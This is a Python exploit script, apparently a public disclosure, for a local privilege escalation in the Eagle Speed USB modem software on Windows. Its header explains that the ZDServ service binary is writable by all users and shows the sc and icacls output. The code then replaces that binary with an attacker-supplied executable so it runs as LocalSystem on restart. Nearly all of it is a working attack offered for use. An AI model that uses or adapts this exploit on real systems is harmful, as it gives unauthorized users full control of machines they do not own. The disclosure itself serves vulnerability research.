| #!/usr/bin/python -w# Title : Eagle Speed USB MODEM SOFTWARE Privilege Escalation
 # Date : 28/11/2016
 # Author : R-73eN
 # Tested on : Windows 7 ( Latest version of the software)
 # Software : N/A ( Comes with the USB Modem)
 # Vulnerability Description:
 # When the Eagle Speed software is installed a service with name ZDServ is installed.
 # The service itself has the right permissions which do not allow to reconfigure the binary
 # but the path the binary is writable by any authenticated user.
 #
 # C:\Users\lowpriv>sc qc zdserv
 # [SC] QueryServiceConfig SUCCESS
 #
 # SERVICE_NAME: zdserv
 #        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
 #        START_TYPE         : 2   AUTO_START
 #        ERROR_CONTROL      : 1   NORMAL
 #        BINARY_PATH_NAME   : "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe"
 #        LOAD_ORDER_GROUP   :
 #        TAG                : 0
 #        DISPLAY_NAME       : ZDServ
 #        DEPENDENCIES       :
 #        SERVICE_START_NAME : LocalSystem
 #
 #
 #
 # C:\Users\lowpriv>icacls "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe"
 # C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe Everyone:(I)(F) <----------- Everyone has full permissions.
 #                                           NT AUTHORITY\SYSTEM:(I)(F)
 #                                           BUILTIN\Administrators:(I)(F)
 #                                          Victim-PC\lowpriv:(I)(F)
 #                                           BUILTIN\Users:(I)(RX)
 #
 # Successfully processed 1 files; Failed processing 0 files
 #
 # This exploit takes as a parameter an exe file that will replace the ZDServ.exe and will run
 # with full privileges when the service/computer is restarted.
 #
 # Video : https://youtu.be/o59SD8gXzlU
 #
 import osimport sys
 import filecmp
 path = "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe"
 file_move = 'move "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe" "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe.bak"'
 banner = "\n\n"
 banner +="  ___        __        ____                 _    _  \n"
 banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
 banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
 banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
 banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
 print banner
 if(len(sys.argv) < 2):
 print '\n Usage : exploit.py program.exe\n'
 print 'https://infogen.al/'
 else:
 program = sys.argv[1]
 if(not os.path.isfile(program)):
 print "[-] The parameter was incorrect, use a correct filename [-]"
 exit(0)
 if(not os.path.isfile(path)):
 print "[-] File not found , propably service doesn't exists [-]\n"
 else:
 print "[+] Backing up the binary [+]"
 os.system(file_move)
 print "[+] Copying the payload [+]"
 os.system("copy " + program + " " + path)
 if(filecmp.cmp(program,path)):
 print "[+] Exploit successfull, wait for service to restart or reboot [+]"
 else:
 print "[-] Exploit failed [-]"
 
 
 |